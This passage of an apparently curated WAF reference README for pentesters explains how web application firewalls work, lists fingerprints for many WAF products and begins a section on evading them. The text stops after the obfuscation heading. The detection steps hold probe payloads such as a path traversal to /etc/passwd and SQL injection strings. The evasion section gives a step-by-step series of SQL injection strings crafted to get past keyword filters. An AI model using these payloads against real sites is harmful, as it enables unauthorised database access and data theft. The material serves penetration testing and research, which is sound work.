# Awesome WAF [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg "Awesome")](https://github.com/0xinfection/awesome-waf)
> A curated list of awesome WAF stuff. 🔥
>
> __Foreword:__ This was originally my own collection on WAFs. I am open-sourcing it in the hope that it will be useful for pentesters and researchers out there. You might want to keep this repo on a watch, since it will be updated regularly. "The community just learns from each other." __#SharingisCaring__
![Main Logo](images/how-wafs-work.png 'How wafs work')
__A Concise Definition:__ A web application firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))*
Feel free to [contribute](CONTRIBUTING.md).
### Contents:
- [Introduction](#introduction)
- [How WAFs Work](#how-wafs-work)
- [Operation Modes](#operation-modes)
- [Testing Methodology](#testing-methodology)
- [Where To Look](#where-to-look)
- [Detection Techniques](#detection-techniques)
- [WAF Fingerprints](#waf-fingerprints)
- [Evasion Techniques](#evasion-techniques)
- [Fuzzing/Bruteforcing](#fuzzingbruteforcing)
- [Regex Reversing](#regex-reversing)
- [Obfuscation/Encoding](#obfuscation)
- [Browser Bugs](#browser-bugs)
- [HTTP Header Spoofing](#request-header-spoofing)
- [Google Dorks Approach](#google-dorks-approach)
- [Known Bypasses](#known-bypasses)
- [Awesome Tooling](#awesome-tools)
- [Fingerprinting](#fingerprinting)
- [Testing](#testing)
- [Evasion](#evasion)
- [Blogs & Writeups](#blogs-and-writeups)
- [Video Presentations](#video-presentations)
- [Research Presentations & Papers](#presentations--research-papers)
- [Research Papers](#research-papers)
- [Presentation Slides](#presentations)
- [Licensing & Credits](#credits--license)
## Introduction:
### How WAFs Work:
- Using a set of rules to distinguish between normal requests and malicious requests.
- Sometimes they use a learning mode to add rules automatically through learning about user behaviour.
### Operation Modes:
- __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block web traffic that is clearly malicious, and signatures designed to prevent attacks which exploit certain website and web application vulnerabilities. Blacklisting model web application firewalls are a great choice for websites and web applications on the public internet, and are highly effective against an major types of DDoS attacks. Eg. Rule for blocking all `` inputs.
- __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking possible cyber-attacks, but whitelisting will block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees.
- __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model is one that blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet.
## Testing Methodology:
### Where To Look:
- Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8008`, `8080` and `8088` ports.
> __Tip:__ You can use automate this easily by commandline using tools like like [cURL](https://github.com/curl/curl).
- Some WAFs set their own cookies in requests (eg. Citrix Netscaler, Yunsuo WAF).
- Some associate themselves with separate headers (eg. Anquanbao WAF, Amazon AWS WAF).
- Some often alter headers and jumble characters to confuse attacker (eg. Netscaler, Big-IP).
- Some expose themselves in the `Server` header (eg. Approach, WTS WAF).
- Some WAFs expose themselves in the response content (eg. DotDefender, Armor, Sitelock).
- Other WAFs reply with unusual response codes upon malicious requests (eg. WebKnight, 360 WAF).
### Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies).
2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
3. Make GET requests to random open ports and grab banners which might expose the WAFs identity.
4. If there is a login page somewhere, try some common (easily detectable) payloads like `" or 1 = 1 --`.
5. If there is some input field somewhere, try with noisy payloads like ``.
6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL.
7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter.
8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries).
9. Many a times, the WAF varies the `Server` header upon different types of interactions.
10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response.
> __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net).
11. Side Channel Attacks - Examine the timing behaviour of the request and response content.
## WAF Fingerprints
Wanna fingerprint WAFs? Lets see how.
> __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
WAF |
Fingerprints |
360 Firewall
|
- Detectability: Easy
- Detection Methodology:
- Returns status code
493 upon unusual requests.
- On viewing source-code of error page, you will find reference to
wzws-waf-cgi/ directory.
- Blocked response page source contains:
- Reference to
wangshan.360.cn URL.
Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
- Response headers contain
X-Powered-By-360WZB Header.
|
aeSecure
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response content contains
aesecure_denied.png image (view source to see).
- Response headers contain
aeSecure-code value.
|
Airlock (Phion/Ergon)
|
- Detectability: Moderate/Difficult
- Detection Methodology:
Set-Cookie headers may contain:
AL-SESS cookie field name (case insensitive).
AL-LB value (case insensitive).
- Blocked response page contains:
Server detected a syntax error in your request text.
Check your request and all parameters text snippet.
|
AlertLogic Firewall
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
We are sorry, but the page you are looking for cannot be found text snippet.
The page has either been removed, renamed or temporarily unavailable text.
404 Not Found in red letters.
|
Aliyundun Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains:
Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
- Reference to
errors.aliyun.com site URL.
- Blocked response code returned is
405 .
|
Anquanbao WAF
|
- Detectability: Easy
- Detection Methodology:
- Returns blocked HTTP response code
405 upon malicious requests.
- Blocked response content may contain
/aqb_cc/error/ or hidden_intercept_time .
- Response headers contain
X-Powered-by-Anquanbao header field.
|
Anyu Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains
Sorry! your access has been intercepted by AnYu
- Blocked response page contains
AnYu- the green channel text.
- Response headers may contain unusual header
WZWS-RAY .
|
Application Security Manager (F5 Networks)
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response content contains warning
The requested URL was rejected. Please consult with your administrator.
|
Approach Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
Approach Web Application Firewall Framework heading.
Your IP address has been logged and this information could be used by authorities to track you. warning.
Sorry for the inconvenience! keyword.
Approach infrastructure team text snippet.
Server header has field value set to Approach .
|
Armor Defense
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains:
This request has been blocked by website protection from Armor text.
If you manage this domain please create an Armor support ticket snippet.
|
ASP.NET Generic (IIS)
|
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
X-ASPNET-Version header value.
- Blocked response page content may contain:
This generic 403 error means that the authenticated user is not authorized to use the requested resource .
Error Code 0x00000000< keyword.
X-Powered-By header has field value set to ASP.NET .
|
AWS (Amazon)
|
- Detectability: Moderate
- Detection Methodology:
- Response headers might contain:
AWSALB cookie field value.
X-AMZ-ID header.
X-AMZ-REQUEST-ID header.
- Response page may contain:
Access Denied in their keyword.
- Request token ID with length from 20 to 25 between
RequestId tag.
Server header field contains awselb/2.0 value.
|
Baidu Yunjiasu
|
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
Yunjiasu-ngnix value.
|
Barikode Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page content contains:
BARIKODE keyword.
Forbidden Access text snippet in h1 .
|
Barracuda WAF
|
- Detectability: Moderate
- Detection Methodology:
- Response cookies may contain
barra_counter_session value.
- Response headers may contain
barracuda_ keyword.
- Response page contains:
You have been blocked heading.
You are unable to access this website text.
|
Bekchy (Faydata)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response headers contains
Bekchy - Access Denied .
- Blocked response page contains reference to
https://bekchy.com/report .
|
Better WP Security
|
- Detectability: Easy
- Detection Methodology:
- Specific to only sites using CMS as Wordpress.
- Plugin enumeration reveals the WAF plugin presence.
- Making a GET request to
wp-content/plugins/better-wp-security/ directory yeilds200 OK .
|
BitNinja Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page may contain:
Security check by BitNinja text snippet.
your IP will be removed from BitNinja .
Visitor anti-robot validation text snippet.
(You will be challenged by a reCAPTCHA page) text.
|
Bluedon IST
|
- Detectability: Easy
- Detection Methodology:
Server header contains BDWAF field value.
- Blocked response page contains to
Bluedon Web Application Firewall text snippet..
|
BIG-IP ASM (F5 Networks)
|
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
BigIP or F5 keyword value.
- Response header fields may contain
X-WA-Info header.
- Response headers might have jumbled
X-Cnection field value.
|
BinarySec WAF
|
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
binarysec keyword value.
|
BlockDos
|
- Detectability: Moderate
- Detection Methodology:
Server header contains value BlockDos.net .
|
CDN NS Application Gateway
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
CdnNsWAF Application Gateway text snippet.
|
Cerber (WordPress)
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
We're sorry, you are not allowed to proceed text snippet.
Your request looks suspicious or similar to automated requests from spam posting software warning.
|
ChinaCache Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain
Powered-by-ChinaCache field.
|
Chuangyu WAF
|
- Detectability: Moderate
- Detection Methodology:
- Response page has refernce to:
365cyd.com or 365cyd.net URL.
- Help page at
http://help.365cyd.com/cyd-error-help.html?code=403 .
|
Cisco ACE XML Gateway
|
- Detectability: Moderate
- Detection Methodology:
Server header has value ACE XML Gateway set.
|
Cloudbric Firewall
|
- Detectability: Moderate
- Detection Methodology:
- Response content contains:
Malicious Code Detected heading.
Your request was blocked by Cloudbric text snippet.
|
Cloudflare
|
- Detectability: Easy
- Detection Methodology:
- Response headers might have
cf-ray field value.
Server header field has value cloudflare .
Set-Cookie response headers have __cfuid= cookie field.
- Page content might have
Attention Required! or Cloudflare Ray ID: .
- You may encounter
CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
|
Cloudfront (Amazon)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains
Generated by cloudfront (CloudFront) error upon malicious request.
|
Comodo Firewall
|
- Detectability: Easy
- Detection Methodology:
Server header contains Protected by COMODO WAF value.
|
CrawlProtect (Jean-Denis Brun)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains value
This site is protected by CrawlProtect !!! upon malicious request.
|
Deny-All Firewall
|
- Detectability: Difficult
- Detection Methodology:
- Response content contains value
Condition Intercepted .
Set-Cookie header contains cookie field sessioncookie .
|
Distil Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain field value
X-Distil-CS in all requests.
- Blocked response page contains:
Pardon Our Interruption... heading.
You have disabled javascript in your browser. text snippet.
Something about your browser made us think that you are a bot. text.
|
DoSArrest Internet Security
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain field value
X-DIS-Request-ID .
Server header contains DOSarrest keyword.
|
dotDefender
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains value
dotDefender Blocked Your Request .
- Blocked response headers contain
X-dotDefender-denied field value.
|
DynamicWeb Injection Check
|
- Detectability: Easy
- Detection Methodology:
- Blocked response headers contain
X-403-Status-By field with value dw-inj-check value.
|
EdgeCast (Verizon)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response content contains value
Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon) .
- Blocked response code returns
400 Bad Request on malicious requests.
|
Expression Engine (EllisLab)
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page returns
Invalid URI generally.
- Blocked response content contains value
Invalid GET Request upon malicious GET queries.
- Blocked POST type queries contain
Invalid POST Request in response content.
|
FortiWeb Firewall
|
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
FORTIWAFSID= on malicious requests.
- Blocked response page contains:
- Reference to
.fgd_icon image icon.
Server Unavailable! as heading.
Server unavailable. Please visit later. as text.
|
GoDaddy Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains value
Access Denied - GoDaddy Website Firewall .
|
GreyWizard Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page conatins:
Grey Wizard as title.
Contact the website owner or Grey Wizard text snippet.
We've detected attempted attack or non standard traffic from your IP address text snippet.
- Response headers may contain
greywizard keyword.
|
HyperGuard Firewall
|
- Detectability: Difficult
- Detection Methodology:
Set-Cookie header has cookie field ODSESSION= in response headers.
|
IBM DataPower
|
- Detectability: Difficult
- Detection Methodology:
- Response headers contains field value value
X-Backside-Transport with value OK or FAIL .
|
Incapsula (Imperva)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page content may contain:
Powered By Incapsula text snippet.
Incapsula incident ID keyword.
_Incapsula_Resource keyword.
subject=WAF Block Page keyword.
- Normal GET request headers contain
visid_incap value.
- Response headers may contain
X-Iinfo header field name.
Set-Cookie header has cookie field incap_ses and visid_incap .
|
Immunify360 (CloudLinux Inc.)
|
- Detectability: Easy
- Detection Methodology:
- Headers contain
imunify360 keyword.
- Response page contains:
Powered by Imunify360 text snippet.
imunify360 preloader if response type is JSON.
- Blocked response page contains
protected by Imunify360 text.
|
ISAServer
|
- Detectability: Difficult
- Detection Methodology:
- Response page contains:
The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
|
Janusec Application Gateway
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page has image displaying
JANUSEC name and logo.
- Blocked response page displays
Janusec Application Gateway on malicious requests.
|
Jiasule Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
static.jiasule.com/static/js/http_error.js URL.
Set-Cookie header has cookie field __jsluid= in response headers.
- Response headers have
jiasule-WAF or jsl_tracking keywords.
- Blocked response content has
notice-jiasule keyword.
|
KnownSec Firewall
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response page displays
ks-waf-error.png image (view source to see).
|
KONA Site Defender (Akamai)
|
- Detectability: Easy
- Detection Methodology:
- Headers contain
AkamaiGHost keyword.
|
LiteSpeed Firewall
|
- Detectability: Easy
- Detection Methodology:
Server header has value set to LiteSpeed .
Response page contains:
Proudly powered by LiteSpeed Web Server text.
- Reference to
http://www.litespeedtech.com/error-page
Access to resource on this server is denied.
|
Malcare (Inactiv)
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response page may contains:
Blocked because of Malicious Activities text snippet.
Firewall powered by MalCare text snippet.
|
MissionControl WAF
|
- Detectability: Easy
- Detection Methodology:
Server header field contains Mission Control value.
|
ModSecurity (Trustwave)
|
- Detectability: Moderate/Difficult
- Detection Methodology:
- Blocked response page contains:
This error was generated by Mod_Security text snippet.
One or more things in your request were suspicious text snippet.
rules of the mod_security module text snippet.
mod_security rules triggered text snippet.
- Reference to
/modsecurity-errorpage/ directory.
Server header may contain Mod_Security or NYOB keywords.
- Sometimes, the response code to an attack is
403 while the response phrase is ModSecurity Action .
|
NAXSI (NBS Systems)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page conatins
This Request Has Been Blocked By NAXSI .
- Response headers contain unusual field
X-Data-Origin with value naxsi/waf keyword.
Server header contains naxsi/waf keyword value.
|
Nemesida Firewall
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page conatins
Suspicious activity detected. Access to the site is blocked. .
- Contains reference to email
nwaf@{site.tld}
|
Netcontinuum (Barracuda)
|
- Detectability: Moderate
- Detection Methodology:
- Session cookies contain
NCI__SessionId= cookie field name.
|
NevisProxy (AdNovum)
|
- Detectability: Moderate
- Detection Methodology:
- Response header cookies contain
Navajo keyword.
|
NetScaler (Citrix)
|
- Detectability: Moderate
- Detection Methodology:
- Response headers may contain
Connection: header field name jumbled to nnCoection:
ns_af= cookie field name.
citrix_ns_id field name.
NSC_ keyword.
NS-CACHE field value.
|
NewDefend Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response page contains:
- Reference to
http://www.newdefend.com/feedback/misinformation/ URL.
- Reference to
/nd_block/ directory.
Server header contains NewDefend keyword.
|
NinjaFirewall (NinTechNet)
|
- Detectability: Moderate
- Detection Methodology:
- Response page title contains
NinjaFirewall: 403 Forbidden .
- Response page contains:
For security reasons, it was blocked and logged text snippet.
NinjaFirewall keyword in title.
- Returns a
403 Forbidden response upon malicious requests.
|
NSFocus Firewall
|
- Detectability: Easy
- Detection Methodology:
Server header contain NSFocus keyword.
|
onMessage Shield (Blackbaud)
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain header
X-Engine field with value onMessage Shield .
- Blocked response page contains:
Blackbaud K-12 conducts routine maintenance keyword.
This site is protected by an enhanced security system .
- Reference to
https://status.blackbaud.com URL.
- Reference to
https://maintenance.blackbaud.com URL.
|
Palo Alto Firewall
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response page contains
Virus/Spyware Download Blocked .
|
PerimeterX Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
https://www.perimeterx.com/whywasiblocked URL.
|
Profense Firewall
|
- Detectability: Easy
- Detection Methodology:
Set-Cookie headers contain PLBSID= cookie field name.
Server header contain Profense keyword.
|
Proventia (IBM)
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page might contain to
request does not match Proventia rules text snippet.
|
pkSecurityModule IDS
|
- Detectability: Moderate
- Detection Methodology:
- Response content may contain
pkSecurityModule: Security.Alert .
A safety critical request was discovered and blocked text snippet.
|
Radware Appwall
|
- Detectability: Moderate
- Detection Methodology:
- Response page contains the following text snippet:
Unauthorized Activity Has Been Detected. and Case Number
- Response headers may contain
X-SL-CompState header field name.
|
Reblaze Firewall
|
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
rbzid= header field name.
- Response headers field values might contain
Reblaze Secure Web Gateway text snippet.
- Response page contains:
Current session has been terminated text.
|
Request Validation Mode (ASP.NET)
|
- Detectability: Easy
- Detection Methodology:
- A firewall found specifically on ASP.NET websites and none others.
- Response page contains either of the following text snippet:
ASP.NET has detected data in the request that is potentially dangerous.
Request Validation has detected a potentially dangerous client input value.
HttpRequestValidationException.
- Blocked response code returned is always
500 Internal Error .
|
RSFirewall (RSJoomla)
|
- Detectability: Easy
- Detection Methodology:
- Response page contains:
COM_RSFIREWALL_403_FORBIDDEN keyword.
COM_RSFIREWALL_EVENT keyword.
|
Sabre Firewall
|
- Detectability: Easy
- Detection Methodology:
- Returns status code
500 Internal Error upon malicious requests.
- Response content has:
- Contact email
dxsupport@sabre.com .
Your request has been blocked bold warning.
clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
|
Safe3 Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain:
X-Powered-By header has field value Safe3WAF .
Server header contains field value set to Safe3 Web Firewall .
- Response page contains
Safe3waf keyword.
|
SafeDog Firewall
|
- Detectability: Easy/Moderate
- Detection Methodology:
- Response headers may contain:
WAF/2.0 keyword.
safedog field value.
|
Secure Entry Firewall
|
- Detectability: Easy
- Detection Methodology:
Server header contains value set to Secure Entry Server .
|
SecureIIS (eEye)
|
- Detectability: Easy
- Detection Methodology:
- Response page contains either of the following text snippet:
- Image displaying
beyondtrust logo.
Download SecureIIS Personal Edition
- Reference to
http://www.eeye.com/SecureIIS/ URL.
SecureIIS Error text snippet.
|
SecureSphere (Imperva)
|
- Detectability: Difficult
- Detection Methodology:
- Response page contains the following text snippet:
- Error in
h2 text.
- Title contains only text as
Error .
Contact support for additional information. text.
|
SEnginx (Neusoft)
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
SENGINX-ROBOT-MITIGATION keyword.
|
Shadow Daemon WAF
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
request forbidden by administrative rules. keyword.
|
ShieldSecurity
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains:
You were blocked by the Shield. text.
Something in the URL, Form or Cookie data wasn't appropriate text snippet.
Warning: You have {number} remaining transgression(s) against this site .
Seriously stop repeating what you are doing or you will be locked out .
|
SiteGround Firewall
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response page contains
The page you are trying to access is restricted due to a security rule text snippet.
|
SiteGuard (JP Secure)
|
- Detectability: Difficult
- Detection Methodology:
- Response page contains:
Powered by SiteGuard text snippet.
The server refuse to browse the page. text snippet.
The URL may not be correct. Please confirm the value.
|
SiteLock TrueShield
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page source contains the following:
- Reference to
www.sitelock.com URL.
Sitelock is leader in Business Website Security Services. text.
sitelock-site-verification keyword.
sitelock_shield_logo image.
|
SonicWall (Dell)
|
- Detectability: Easy
- Detection Methodology:
Server header contain SonicWALL keyword value.
- Blocked response page contains either of the following text snippet:
- Image displaying
Dell logo.
This request is blocked by the SonicWALL.
Web Site Blocked text snippet.
|
Sophos UTM Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains
Powered by UTM Web Protection keyword.
|
SquareSpace Firewall
|
- Detectability: Difficult
- Detection Methodology:
- Response code returned is
404 Not Found upon malicious requests.
- Blocked response page contains either of the following text snippet:
BRICK-50 keyword.
404 Not Found text snippet.
|
StackPath (StackPath LLC)
|
- Detectability: Easy
- Detection Methodology:
- Contains image displaying
StackPath logo.
- Blocked response page contains
You performed an action that triggered the service and blocked your request .
|
Stingray (RiverBed/Brocade)
|
- Detectability: Difficult
- Detection Methodology:
- Blocked response code returns
403 Forbidden or 500 Internal Error .
- Response headers contain the
X-Mapping header field name.
|
Sucuri CloudProxy
|
- Detectability: Easy
- Detection Methodology:
- Response headers may contain
Sucuri or Cloudproxy keywords.
- Blocked response page contains the following text snippet:
Access Denied - Sucuri Website Firewall text.
- Reference to
https://sucuri.net/privacy-policy URL.
- Sometimes the email
cloudproxy@sucuri.net .
- Contains copyright notice
;copy {year} Sucuri Inc .
- Response headers contains
X-Sucuri-ID header along with normal requests.
|
Synology Cloud WAF
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page has
Copyright (c) 2019 Synology Inc. All rights reserved. as text.
|
Tencent Cloud WAF
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response code returns
405 Method Not Allowed error.
- Blocked response page contains reference to
waf.tencent-cloud.com URL.
|
Teros WAF (Citrix)
|
- Detectability: Difficult
- Detection Methodology:
- Response headers contain cookie field
st8id .
|
TrafficShield (F5 Networks)
|
- Detectability: Moderate
- Detection Methodology:
Server might contain F5-TrafficShield keyword.
ASINFO= value might be detected in response cookies.
|
URLMaster SecurityCheck (iFinity/DotNetNuke)
|
- Detectability: Moderate
- Detection Methodology:
- Response headers might contain:
UrlMaster keyword.
UrlRewriteModule keyword.
SecurityCheck keyword.
- Blocked response code returned is
400 Bad Request text snippet.
|
URLScan (Microsoft)
|
- Detectability: Moderate
- Detection Methodology:
- Blocked response page contains:
Rejected-by-URLScan text snippet.
Server Erro in Application as heading.
Module: IIS Web Core in table.
|
USP Secure Entry
|
- Detectability: Moderate
- Detection Methodology:
- Response headers contain
Secure Entry Server field value.
|
Varnish (OWASP)
|
- Detectability: Easy
- Detection Methodology:
- Malicious request returns
404 Not Found Error.
- Response page contains:
Request rejected by xVarnish-WAF text snippet.
|
Varnish Cache Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response page contains:
Error 403 Naughty, not Nice! as heading.
Varnish cache Server as text.
|
VirusDie Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response page contains:
http://cdn.virusdie.ru/splash/firewallstop.png picture.
copy; Virusdie.ru copyright notice.
- Response page title contains
Virusdie keyword.
- Page metadata contains
name="FW_BLOCK" keyword
|
WallArm (Nginx)
|
- Detectability: Moderate
- Detection Methodology:
Server headers contain nginx-wallarm value.
|
WatchGuard IPS
|
- Detectability: Easy
- Detection Methodology:
Server headers contain WatchGuard header field value.
- Blocked response page contains:
Request denied by WatchGuard Firewall text.
WatchGuard Technologies Inc. as footer.
|
WebARX Firewall
|
- Detectability: Easy
- Detection Methodology:
- Restricted to specifically WordPress sites only.
- Blocked response page contains:
This request has been blocked by WebARX Web Application Firewall text.
- Reference to
/wp-content/plugins/webarx/ directory where it is installed.
|
WebKnight (Aqtronix)
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain
WebKnight keyword.
- Blocked response page contains:
WebKnight Application Firewall Alert text warning.
AQTRONIX WebKnight text snippet.
- Blocked response code returned is
999 No Hacking . :p
|
West263 Firewall
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain
X-Cache header field with WT263CDN value.
|
Wordfence (Feedjit)
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain
WebKnight keyword.
- Blocked response page contains:
Generated by Wordfence text snippet.
A potentially unsafe operation has been detected in your request to this site text warning.
Your access to this site has been limited text warning.
This response was generated by Wordfence text snippet.
|
WTS Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page title has
WTS-WAF keyword.
Server header contains wts as value.
|
XLabs Security WAF
|
- Detectability: Easy
- Detection Methodology:
- Response headers contain
X-CDN header field with XLabs Security value.
|
Xuanwudun WAF
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
http://admin.dbappwaf.cn/index.php/Admin/ClientMisinform/ site URL.
|
Yundun Firewall
|
- Detectability: Easy
- Detection Methodology:
Server header contains YUNDUN as value.
X-Cache header field contains YUNDUN as value.
- Response page contains
Blocked by YUNDUN Cloud WAF text snippet.
|
Yunsuo Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains image class reference to
.yunsuologo .
- Response headers contain the
yunsuo_session field name.
|
ZenEdge Firewall
|
- Detectability: Easy
- Detection Methodology:
- Blocked response page contains reference to
zenedge/assets/ directory.
Server header contain ZENEDGE keyword.
- Blocked response headers may contain
X-Zen-Fury header.
|
ZScaler (Accenture)
|
- Detectability: Easy
- Detection Methodology:
Server header has value set to ZScaler .
- Blocked response page contains:
Access Denied: Accenture Policy text.
- Reference to
https://policies.accenture.com URL.
- Reference to image at
https://login.zscloud.net/img_logo_new1.png .
Your organization has selected Zscaler to protect you from internet threats .
The Internet site you have attempted to access is prohibited. Accenture's webfilters indicate that the site likely contains content considered inappropriate .
|
## Evasion Techniques
Lets look at some methods of bypassing and evading WAFs.
### Fuzzing/Bruteforcing:
#### Method:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
- [Seclists/Fuzzing](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing).
- [Fuzz-DB/Attack](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack)
- [Other Payloads](https://github.com/foospidy/payloads)
#### Technique:
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
#### Drawbacks:
- This method often fails.
- Many a times your IP will be blocked (temporarily/permanently).
### Regex-Reversing:
#### Method:
- Most efficient method of bypassing WAFs.
- Some WAFs rely upon matching the attack payloads with the signatures in their databases.
- Payload matches the reg-ex the WAF triggers alarm.
#### Techniques:
### Keyword Filter Detection/Bypass
__Case__: SQL Injection
##### • Step 1:
__Keywords Filtered__: `and`, `or`, `union`
- __Blocked Attempt__: `union select user, password from users`
- __Bypassed Injection__: `1 || (select user from users where user_id = 1) = 'admin'`
##### • Step 2:
__Keywords Filtered__: `and`, `or`, `union`, `where`
- __Blocked Attempt__: `1 || (select user from users where user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users limit 1) = 'admin'`
##### • Step 3:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`
- __Blocked Attempt__: `1 || (select user from users limit 1) = 'admin'`
- __Bypassed Injection__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
##### • Step 4:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`
- __Blocked Attempt__: `1 || (select user from users group by user_id having user_id = 1) = 'admin'`
- __Bypassed Injection__: `1 || (select substr(group_concat(user_id),1,1) user from users ) = 1`
##### • Step 5:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || 1 = 1 into outfile 'result.txt'`
- __Bypassed Injection__: `1 || substr(user,1,1) = 'a'`
##### • Step 6:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`
- __Blocked Attempt__: `1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1`
- __Bypassed Injection__: `1 || user_id is not null`
- __Bypassed Injection__: `1 || substr(user,1,1) = 0x61`
- __Bypassed Injection__: `1 || substr(user,1,1) = unhex(61)`
##### • Step 7:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`
- __Blocked Attempt__: `1 || substr(user,1,1) = unhex(61)`
- __Bypassed Injection__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
##### • Step 8:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`
- __Blocked Attempt__: `1 || substr(user,1,1) = lower(conv(11,10,36))`
- __Bypassed Injection__: `1 || lpad(user,7,1)`
##### • Step 9:
__Keywords Filtered__: `and`, `or`, `union`, `where`, `limit`, `group by`, `select`, `'`, `hex`, `substr`, `white space`
- __Blocked Attempt__: `1 || lpad(user,7,1)`
- __Bypassed Injection__: `1%0b||%0blpad(user,7,1)`
### Obfuscation:
#### Method:
- Encoding payload to different encodings (a hit and trial approach).
- You can encode whole payload, or some parts of it and test recursively.
